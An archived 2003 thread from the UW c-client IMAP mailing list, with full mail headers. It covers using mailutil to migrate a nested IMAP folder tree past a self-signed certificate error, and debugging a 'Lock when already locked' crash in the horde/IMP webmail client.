D03NM120/03/M/IBM(Release 6.0.2CF2|July 23, 2003) at 09/14/2003 20:07:51, Serialize complete at 09/14/2003 20:07:51 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='HOT_NASTY, LINES_OF_YELLING, LINES_OF_YELLING_2, LINES_OF_YELLING_3, QUOTED_EMAIL_TEXT, SIGNATURE_SHORT_DENSE, __CT, __CTYPE_CHARSET_QUOTED, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __MIME_VERSION, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm using Thunderbird 0.2 on win2k (with cygwin) to access a large IMAP account. The account has a lot of mail, and is "well-structured": lots of folders, fairly deep tree. Unfortunately the account is at a university from which I recently graduated, and will soon disappear into /dev/null. I would like to download all the mail in the account to local filespace, but preserving the structure, and to automate the process. I note that, when (in thunderbird) I drag the IMAP account's INBOX onto the Local Folders, tb recreates the folder structure, but does not copy all the mail: the contents of INBOX are copied, but not the contents of any subfolder ... and I have a lot of subfolders :-( mailutil was recommended to me, so I got it from http://cygwin.com/cgi-bin2/package-cat.cgi?file=uw-imap-util/uw-imap-util-2002e-1 and noticed (*manpages*)mailutil > mailutil transfer [-debug] [-verbose] [-merge m] [-rwcopy] src dst > ARGUMENTS > The arguments are standard c-client mailbox names. A variety of > mailbox name formats and types of mailboxes are supported by > c-client; examples of the most common forms of names are: > Name Meaning > INBOX primary incoming mail folder on the local system > archive/tx-project > mail folder named "tx-project" in "archive" > subdirectory of local filesystem home directory > {imapserver.foo.com}INBOX > primary incoming mail folder on IMAP server > system "imapserver.foo.com" > {imapserver.foo.com}archive/tx-project > mail folder named "tx-project" in "archive" > subdirectory on IMAP server system > "imapserver.foo.com" > #news.comp.mail.misc > newsgroup "comp.mail.misc" on local filesystem So I tried $ mailutil transfer -debug -verbose -merge prompt {me.mail.big.edu}INBOX /g/mail/ and got (something like :-) [Trying IP address [xxx.xxx.xxx.xxx]] * OK imap.big.edu Cyrus IMAP4 v2.1.11 server ready [imap.big.edu Cyrus IMAP4 v2.1.11 server ready] 00000000 CAPABILITY * CAPABILITY IMAP4 IMAP4rev1 ACL QUOTA LITERAL+ MAILBOX-REFERRALS NAMESPACE UIDPLUS ID NO_ATOMIC_RENAME UNSELECT CHILDREN MULTIAPPEND SORT THREAD=ORDEREDSUBJECT THREAD=REFERENCES IDLE STARTTLS AUTH=GSSAPI AUTH=KERBEROS_V4 LISTEXT LIST-SUBSC RIBED X-NETSCAPE 00000000 OK Completed 00000001 STARTTLS 00000001 OK Begin TLS negotiation now [Certificate failure for me.mail.big.edu: self signed certificate in certificate chain: /C=US/ST=Poor/L=Broke/O=Big State University/OU=IT/CN=BSU-IT CA/emailAddress=security@big.edu] Unfortunately I know nothing about certificate generation. Can anyone point me at a quick'n'dirty one-shot implementation? Or another workaround for this problem? Or a completely different alternative? I thought I might get around this by ssh-ing in to ssh.big.edu to run mailutil from there, hoping that I would not need certification "inside the firewall"; but there `which mailutil` fails. I have also posted security@nohelp.big.edu, but based on past experience and the current budgetary problems, I'm not holding my breath If this is a FAQ, or the wrong forum for this question, please guide me in the right direction. Otherwise, your help is appreciated. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Sep 14 19:19:54 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 14 Sep 2003 19:19:54 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8F2Jrd4028462 for ; Sun, 14 Sep 2003 19:19:53 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8F2JpZ9000993 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 14 Sep 2003 19:19:52 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with SMTP id h8F2Jjw3034806; Sun, 14 Sep 2003 19:19:45 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8F2Ie61064864 for ; Sun, 14 Sep 2003 19:18:40 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8F2IdbV013315 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 14 Sep 2003 19:18:40 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.100.200]) by mxout5.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8F2IcSA019148; Sun, 14 Sep 2003 19:18:39 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h8F2IcMs000860; Sun, 14 Sep 2003 19:18:38 -0700 Message-Id: Date: Sun, 14 Sep 2003 19:18:38 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Thomas L Roche Cc: c-client@u.washington.edu Subject: Re: [OT?] mailutil wants a cert In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 14 Sep 2003, Thomas L Roche wrote: > $ mailutil transfer -debug -verbose -merge prompt {me.mail.big.edu}INBOX > /g/mail/ > [...] > [Certificate failure for me.mail.big.edu: self signed certificate in > certificate chain: /C=US/ST=Poor/L=Broke/O=Big State > University/OU=IT/CN=BSU-IT CA/emailAddress=security@big.edu] Since big.edu has a self-signed certificate, either you have to install certificate on your local machine or you have to use the /novalidate-cert option to disable certificate validation. This goes inside the {}, e.g. {me.mail.big.edu/novalidate-cert}INBOX -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sun Sep 14 20:35:28 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 14 Sep 2003 20:35:28 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8F3ZRd4029904 for ; Sun, 14 Sep 2003 20:35:27 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8F3ZNZ9002760 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 14 Sep 2003 20:35:24 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with SMTP id h8F3ZJw3034592; Sun, 14 Sep 2003 20:35:19 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8F3YQ61065290 for ; Sun, 14 Sep 2003 20:34:26 -0700 Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by mxu6.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8F3YNtU002201 for ; Sun, 14 Sep 2003 20:34:23 -0700 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e34.co.us.ibm.com (8.12.9/8.12.2) with ESMTP id h8F3YKPt139082; Sun, 14 Sep 2003 23:34:20 -0400 Received: from d03nm120.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id h8F3YJQN075086; Sun, 14 Sep 2003 21:34:20 -0600 Message-Id: Date: Sun, 14 Sep 2003 23:34:18 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Thomas L Roche To: Mark Crispin Cc: c-client@u.washington.edu Subject: [mailutil] how to make subdirs?, was: [OT?] mailutil wants a cert In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable X-MIMETrack: Serialize by Router on D03NM120/03/M/IBM(Release 6.0.2CF2|July 23, 2003) at 09/14/2003 21:34:20, Serialize complete at 09/14/2003 21:34:20 X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, __CT, __CTE, __CTYPE_CHARSET_QUOTED, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 14 Sep 2003, Thomas L Roche wrote: >> [My large IMAP] account has a lot of mail[,] is "well-structured" >> [(]lots of folders, fairly deep tree[),] and will soon disappear >> into /dev/null. >> I would like to download all the mail in the account to local >> filespace, but preserving the structure, and to automate the process. >> $ mailutil transfer -debug -verbose -merge prompt >> {me.mail.big.edu}INBOX /g/mail/ >> [...] >> [Certificate failure for me.mail.big.edu: self signed certificate >> in certificate chain: /C=3DUS/ST=3DPoor/L=3DBroke/O=3DBig State >> University/OU=3DIT/CN=3DBSU-IT CA/emailAddress=3Dsecurity@big.edu] Mark Crispin 09/14/2003 10:18 PM > Since big.edu has a self-signed certificate, either you have to > install certificate on your local machine or you have to use the > /novalidate-cert option to disable certificate validation. This goes > inside the {}, e.g. > {me.mail.big.edu/novalidate-cert}INBOX Thanks!=20 mailutil transfer -debug -verbose -merge prompt=20 {me.mail.big.edu/novalidate-cert}INBOX /g/mail/ gets me authn prompts, and off we go ... until we hit substructure. E.g. - Copying=20 {imap.big.edu:143/imap/tls/novalidate-cert/user=3D"me"}INBOX.Drafts =3D>=20 /g/mail/INBOX/Drafts - [Reusing connection to imap.big.edu/user=3D"me"] - [Mailbox is empty] - Can't create mailbox node /g/mail/INBOX/: File exists - alternative name:=20 Na=EFvely I try > /g/mail/INBOX/Drafts but get dope-slapped - Can't create mailbox node /g/mail/INBOX/: File exists Is there a way to tell mailutil to just create a subdir to correspond to the substructure? The alternative is, e.g., - Copying {imap.big.edu:143/imap/tls/novalidate-cert/user=3D"me"}INBOX.GNU = =3D> /g/mail/INBOX/GNU - [Reusing connection to imap.big.edu/user=3D"me"] - [Mailbox is empty] - Can't create mailbox node /g/mail/INBOX/: File exists - alternative name: INBOX.GNU - {imap.big.edu:143/imap/tls/novalidate-cert/readonly/user=3D"me"}INBOX.GNU= =20 [empty] =3D> INBOX.GNU - Copying=20 {imap.big.edu:143/imap/tls/novalidate-cert/user=3D"me"}INBOX.GNU.Emacs =3D= >=20 /g/mail/INBOX/GNU/Emacs - [Reusing connection to imap.big.edu/user=3D"me"] - [[UNSEEN 1] ] - Can't create mailbox node /g/mail/INBOX/: File exists - alternative name: INBOX.GNU.Emacs -=20 {imap.big.edu:143/imap/tls/novalidate-cert/readonly/user=3D"me"}INBOX.GNU.E= macs=20 [5 message(s)] =3D> INBOX.GNU.Emacs - Permission denied - Permission denied - Permission denied - Permission denied - Permission denied - Permission denied - Permission denied - Permission denied - Permission denied - Permission denied - [Ok 5 messages(s)] But this 0 is scarily manual. Thanks to the > Listing mailboxes... > 00000005 LIST INBOX * earlier in the session, I know that I have 84 subfolders. That's a lotta cut'n'paste :-( Furthermore, it ... 1 creates a flat bunch of mailbox nodes in ~. If there is no way around problem 0, how might one recreate (e.g. via some script) from this bunch of nodes something a mail client would recognize as having the original folder structure? I hope I'm not being too much of a PITA. OTOH I suspect a user- friendly solution to this problem would be highly reusable (I Am Not A Mail Admin (you guessed ?-) but I suspect I'm not the first person to find themselves in this situation), and probably toolworthy (i.e. for mail-client writers). Your assistance is appreciated! Tom Roche From pinedev@shivax2.cac.washington.edu Tue Sep 16 14:38:02 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 16 Sep 2003 14:38:02 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8GLc2d4021101 for ; Tue, 16 Sep 2003 14:38:02 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8GLc0Z9015900 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 16 Sep 2003 14:38:00 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with SMTP id h8GLbrw3004180; Tue, 16 Sep 2003 14:37:54 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8GLXR61069060 for ; Tue, 16 Sep 2003 14:33:27 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu5.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8GLXQxJ026581 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 16 Sep 2003 14:33:27 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8GLXPSA002667; Tue, 16 Sep 2003 14:33:25 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h8GLXPXa005259 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 16 Sep 2003 14:33:25 -0700 Message-Id: Date: Tue, 16 Sep 2003 14:33:25 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Thomas L Roche Cc: c-client@u.washington.edu Subject: Re: [mailutil] how to make subdirs?, was: [OT?] mailutil wants a cert In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIII, Probability=5%, Report='IN_REP_TO, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN You are apparently attempting to copy a hierarchy from a mail store which has so-called "dual use" mailbox names (names that are both a mailbox and contain other mailboxes) to one which does not. mailutil can not resolve the resulting conflict on its own. You have to give it some alternative name. In general, you can't create a subdirectory to INBOX, and you certainly can not create a subdirectory to a mail-file type mailbox. You have to use some other name. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Sep 17 00:18:44 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 17 Sep 2003 00:18:44 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8H7Ihd4007085 for ; Wed, 17 Sep 2003 00:18:43 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8H7IfZ9000833 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 17 Sep 2003 00:18:42 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with SMTP id h8H7IaVf083512; Wed, 17 Sep 2003 00:18:36 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8H7H961026584 for ; Wed, 17 Sep 2003 00:17:09 -0700 Received: from server07.icaen.uiowa.edu (server07.icaen.uiowa.edu [128.255.17.47]) by mxu5.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8H7H7xI014887 for ; Wed, 17 Sep 2003 00:17:07 -0700 Received: from server11.icaen.uiowa.edu (server11.icaen.uiowa.edu [128.255.17.51]) by server07.icaen.uiowa.edu (8.9.3/8.9.3) with ESMTP id CAA03076 for sent by ; Wed, 17 Sep 2003 02:17:05 -0500 (CDT) Received: from d-is00.icaen.uiowa.edu ([128.255.17.30]) by server11.icaen.uiowa.edu (8.12.6/smtp-service-1.6) with ESMTP id h8H7H5qu028660 for ; sent by ; Wed, 17 Sep 2003 02:17:05 -0500 (CDT) Received: (from dbfunk@localhost) by d-is00.icaen.uiowa.edu (8.9.3/client-6.6) id CAA08182; Wed, 17 Sep 2003 02:17:05 -0500 (CDT) Message-Id: Date: Wed, 17 Sep 2003 02:17:05 -0500 (CDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David B Funk To: c-client@u.washington.edu Subject: IMAP toolkit crash: Lock when already locked In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIII, Probability=4%, Report='IN_REP_TO, SIGNATURE_LONG_SPARSE, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN We've got a "horde/IMP" webmail server based upon apache+php4+c-client (from the imap-2002d kit). Occasionally I see the following error message show up in the server syslog: "IMAP toolkit crash: Lock when already locked" Any suggestions as to how to debug this? Note that this server is just using c-client as a client library, the actual imap server is running on a different machine (also built from the imap-2002d kit). Thanks, Dave -- Dave Funk University of Iowa College of Engineering 319/335-5751 FAX: 319/384-0549 1256 Seamans Center Sys_admin/Postmaster/cell_admin Iowa City, IA 52242-1527 #include Better is not better, 'standard' is better. B{ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Sep 17 07:51:46 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 17 Sep 2003 07:51:46 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8HEpjd4021741 for ; Wed, 17 Sep 2003 07:51:45 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8HEpfYa019777 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 17 Sep 2003 07:51:42 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with SMTP id h8HEpaw3040876; Wed, 17 Sep 2003 07:51:36 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8HEn861055024 for ; Wed, 17 Sep 2003 07:49:08 -0700 Received: from math.fu-berlin.de (leibniz.math.fu-berlin.de [160.45.40.10]) by mxu2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with SMTP id h8HEn619026862 for ; Wed, 17 Sep 2003 07:49:06 -0700 Received: (qmail 11519 invoked by uid 10044); 17 Sep 2003 16:49:05 +0200 Message-Id: <20030917144905.GJ17488@localhost.math.fu-berlin.de> Date: Wed, 17 Sep 2003 16:49:05 +0200 Reply-To: stucki@math.fu-berlin.de Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Chr. von Stuckrad" To: c-client@u.washington.edu Subject: Re: IMAP toolkit crash: Lock when already locked In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CD, __CT, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, Sep 17, 2003 at 02:17:05AM -0500, David B Funk wrote: > Occasionally I see the following error message show up in the > server syslog: "IMAP toolkit crash: Lock when already locked" Just by chance I saw the same around last Saturday comig up here. (same setup, UW-Imap on Mailhost, horde/imp webmailer) I always assumed this to happen, if somebody runs more than one IMPA-Connection on the same UNIX-Format-Mailbox? E.g. runnign netscape from HOME (and leaving it online) then going some place and using the webmailer from there to access the same INBOX, which is a dumb default UNIX-Spoolfile. If I understood the doku right, only '#mh'-Boxes can be opened by more than one connection in parallel, so one of the connections (the older?) will abort. Do I seee this correctly? Stucki (postmaster at mi.fu-berlin.de) From pinedev@shivax2.cac.washington.edu Wed Sep 17 08:24:22 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 17 Sep 2003 08:24:22 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8HFOLd4023415 for ; Wed, 17 Sep 2003 08:24:21 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8HFOJZ9013819 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 17 Sep 2003 08:24:20 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with SMTP id h8HFOEfO015326; Wed, 17 Sep 2003 08:24:14 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8HFLF61025782 for ; Wed, 17 Sep 2003 08:21:15 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu6.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8HFLEtU006530 for ; Wed, 17 Sep 2003 08:21:14 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout4.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8HFL3Oo015582; Wed, 17 Sep 2003 08:21:04 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h8HFL354009211; Wed, 17 Sep 2003 08:21:03 -0700 Message-Id: Date: Wed, 17 Sep 2003 08:21:03 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: David B Funk Cc: c-client@u.washington.edu Subject: Re: IMAP toolkit crash: Lock when already locked In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 17 Sep 2003, David B Funk wrote: > We've got a "horde/IMP" webmail server based upon > apache+php4+c-client (from the imap-2002d kit). > Occasionally I see the following error message show up in the > server syslog: "IMAP toolkit crash: Lock when already locked" This is a bug in horde/IMP. The error message "Lock when already locked" means that the application is calling c-client recursively from a callback routine. For example, if the application's mm_exists() routine calls a mail_fetch_???() routine. Recursive calls are not permitted. It may sometimes work if the data is in the cache, but not if c-client has to go out to the IMAP server. I recommend that you examine all mm_???() routines in horde/IMP and look for calls to mail_???() routines. Any such calls are bugs. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Sep 17 08:28:54 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 17 Sep 2003 08:28:54 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8HFSsd4023605 for ; Wed, 17 Sep 2003 08:28:54 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8HFSqZ9013997 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 17 Sep 2003 08:28:52 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with SMTP id h8HFShVf056028; Wed, 17 Sep 2003 08:28:43 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8HFN861051840 for ; Wed, 17 Sep 2003 08:23:08 -0700 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxu7.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8HFN75U030088 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 17 Sep 2003 08:23:07 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout6.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8HFN42h019433; Wed, 17 Sep 2003 08:23:04 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h8HFN4Pi009286; Wed, 17 Sep 2003 08:23:04 -0700 Message-Id: Date: Wed, 17 Sep 2003 08:23:03 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Chr. von Stuckrad" Cc: c-client@u.washington.edu Subject: Re: IMAP toolkit crash: Lock when already locked In-Reply-To: <20030917144905.GJ17488@localhost.math.fu-berlin.de> References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 17 Sep 2003, Chr. von Stuckrad wrote: > I always assumed this to happen, if somebody runs more than one > IMPA-Connection on the same UNIX-Format-Mailbox? No. "Lock when already locked" is a bug in the application; it is making an illegal call to c-client. If you make more than one simultaneous open to a UNIX format mailbox, the older open will be closed. It will not cause a "Lock when already locked" crash. > If I understood the doku right, only '#mh'-Boxes can be > opened by more than one connection in parallel, so one > of the connections (the older?) will abort. No. The mbx, tenex, mtx, and mx formats also support shared open. It is only UNIX and MMDF formats which don't. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Sep 19 12:45:03 2003 -0700 Return-Path: Received: via tmail-2000(13) 